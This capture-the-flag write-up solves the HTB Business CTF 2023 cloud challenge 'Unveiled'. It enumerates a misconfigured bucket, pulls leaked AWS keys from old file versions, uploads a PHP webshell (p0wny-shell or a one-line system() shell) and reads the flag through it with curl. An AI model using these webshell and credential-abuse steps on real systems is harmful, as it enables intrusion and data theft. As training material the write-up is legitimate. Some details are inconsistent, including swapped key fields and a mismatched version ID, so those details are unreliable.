Unveiled
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Unveiled
- Category: Cloud
- Difficulty: Easy
- Points: 1000
- Description: N/A
Synopsis
This challenge starts with uploading a PHP webshell to an openly-accessible AWS S3 Bucket and obtaining code execution to retrieve the flag.
Recon
Connect to the HTB VPN via sudo openvpn <vpntoken>.ovpn
Running nmap to the target:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for unveiled.htb (10.129.253.25)
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Travel to Planet Red
|_http-server-header: Apache/2.4.41
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add unveiled.htb
to your /etc/hosts
file for local DNS resolution.
Browsing to the website at http://unveiled.htb
and viewing the source (CTRL + U), we discover a hidden comment detailing another virtual host of s3.unveiled.htb
which we add to our /etc/hosts
file and a username of galen
as shown below.
1
2
3
<!-- Last updated Tue 20 Jun 2023 02:39:53 PM by galen-->
<!-- Last updated Tue 20 Jun 2023 02:39:53 PM by galen-->
<script src="http://s3.unveiled.htb/unveiled-backups/main.js"/>
AWS Endpoint Function Workaround (Added https://github.com/aws/aws-cli/pull/8006/commits/e34caf506696db97c24d40da5a45e3e5b3bc5cb2) Make sure you are running the latest version of aws-cli
so you don’t have to type the --endpoint-url
every time or use the following:
1
2
3
4
5
6
7
8
9
10
$ export AWS_ENDPOINT_URL=http://s3.unveiled.htb
function aws() {
export AWS_DEFAULT_OUTPUT=yaml
if [ -z "$AWS_ENDPOINT_URL" ]
then
command aws "$@"
else
command aws "$@" --endpoint-url "$AWS_ENDPOINT_URL"
fi
}
AWS S3 Bucket Enumeration
List buckets accessible:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ aws s3api list-buckets
Buckets:
- CreationDate: '2023-07-14T21:12:16+00:00'
Name: unveiled-backups
- CreationDate: '2023-07-14T21:12:17+00:00'
Name: website-assets
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
$ aws s3api list-objects-v2 --bucket 'unveiled-backups'
Contents:
- ETag: '"3460d1a10fd1e53c6dbc1f8acd4c3a1b"'
Key: index.html
LastModified: '2023-07-14T21:12:18+00:00'
Size: 4495
StorageClass: STANDARD
- ETag: '"9c9e9d85b28ce6bbbba93e0860389c65"'
Key: main.tf
LastModified: '2023-07-14T21:12:19+00:00'
Size: 1107
StorageClass: STANDARD
$ aws s3 ls s3://unveiled-backups/
2023-07-14 17:12:18 4495 index.html
2023-07-14 17:12:19 1107 main.tf
Download Files:
1
2
3
4
5
$ aws s3 cp --recursive s3://unveiled-backups .
or ..
$ aws s3 sync s3://unveiled-backups/ .
download: s3://unveiled-backups/main.tf to ./main.tf
download: s3://unveiled-backups/index.html to ./index.html
List Bucket Access Control List (ACL):
1
2
3
4
5
6
7
8
9
10
$ aws s3api get-bucket-acl --bucket unveiled-backups
Grants:
- Grantee:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
Type: CanonicalUser
Permission: FULL_CONTROL
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
AWS S3 Webshell Upload (Unintended)
Upload a webshell without AWS Credentials, since you have FULL_CONTROL
:
1
2
3
4
$ wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
$ aws s3api put-object --bucket website-assets --key shell.php --body shell.php
or ...
$ aws s3 cp shell.php s3://website-assets
AWS S3 Bucket Version Control
Get AWS S3 Bucket Version Control History:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ aws s3api list-object-versions --bucket unveiled-backups
Versions:
- ETag: '"3460d1a10fd1e53c6dbc1f8acd4c3a1b"'
IsLatest: true
Key: index.html
LastModified: '2023-07-14T22:32:50+00:00'
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
Size: 4495
StorageClass: STANDARD
VersionId: 00c4f891-631b-48a8-a958-e01b196af4f7
- ETag: '"3596df2e55e9786e11a09c32ae21c33c"'
IsLatest: false
Key: index.html
LastModified: '2023-07-14T22:32:50+00:00'
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
Size: 4438
StorageClass: STANDARD
VersionId: ab1f42c7-0c8d-4a5b-8d70-05d95b71c937
- ETag: '"9c9e9d85b28ce6bbbba93e0860389c65"'
IsLatest: true
Key: main.tf
LastModified: '2023-07-14T22:32:50+00:00'
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
Size: 1107
StorageClass: STANDARD
VersionId: e760e5b7-cde9-485e-9a6b-de15e1694886
- ETag: '"4947c773e44f5973a9c3d37f24cb8e63"'
IsLatest: false
Key: main.tf
LastModified: '2023-07-14T22:32:50+00:00'
Owner:
DisplayName: webfile
ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a
Size: 1167aws s3api get-object --bucket unveiled-backups --key index.html --version-id 00c4f891-631b-48a8-a958-e01b196af4f7 index.html.old
Get Old Revision of Files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ aws s3api get-object --bucket unveiled-backups --key main.tf --version-id 2660dd61-14c4-47e4-ad0e-931c14da88a9 main.tf.old
AcceptRanges: bytes
ContentLength: 1167
ContentType: binary/octet-stream
ETag: '"4947c773e44f5973a9c3d37f24cb8e63"'
LastModified: '2023-07-14T22:32:50+00:00'
Metadata: {}
VersionId: 2660dd61-14c4-47e4-ad0e-931c14da88a9
$ aws s3api get-object --bucket unveiled-backups --key index.html --version-id 00c4f891-631b-48a8-a958-e01b196af4f7 index.html.old
AcceptRanges: bytes
ContentLength: 4495
ContentType: text/html
ETag: '"3460d1a10fd1e53c6dbc1f8acd4c3a1b"'
LastModified: '2023-07-14T22:32:50+00:00'
Metadata: {}
VersionId: 00c4f891-631b-48a8-a958-e01b196af4f7
$ head ./unveiled-backups-old/main.tf
variable "aws_access_key"{
default = "AKIA6CFMOGFLAHOPQTMA"
}
variable "aws_secret_key"{
default = "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"
}
Configure AWS-CLI with new AWS secrets and check if we can access the private S3 bucket of website-assets
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ aws configure
AWS Access Key ID: tLK3S3CNsXfj0mjPsIH2iCh5odYHMPDwSVxn7CB5
AWS Secret Access Key: AKIA6CFMOGFLAHOPQTMA
Default region name [us-east-1]:
Default output format [None]:
$ aws sts get-caller-identity
Account: '683633011377'
Arn: arn:aws:iam::683633011377:user/will
UserId: AKIAIOSFODNN7DXV3G29
$ aws s3 ls s3://website-assets
2023-07-14 18:32:49 91790 background.jpg
2023-07-14 18:32:49 4372 index.html
AWS S3 Webshell Upload
Upload webshell with new access keys:
1
2
3
4
5
6
7
$ wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
or ...
$ echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php
$ aws s3api put-object --bucket website-assets --key shell.php --body shell.php
or ...
$ aws s3 cp shell.php s3://website-assets
Access webshell:
1
$ firefox http://unveiled.htb/shell.php
Can also fetch the flag via curl:
1
2
curl -s -X POST 'http://unveiled.htb/shell.php?feature=shell' --data 'cmd=cat /var/www/flag.txt' | jq -r '.stdout'|base64 -d
HTB{th3_r3d_pl4n3ts_cl0ud_h4s_f4ll3n}
Flag: HTB{th3_r3d_pl4n3ts_cl0ud_h4s_f4ll3n}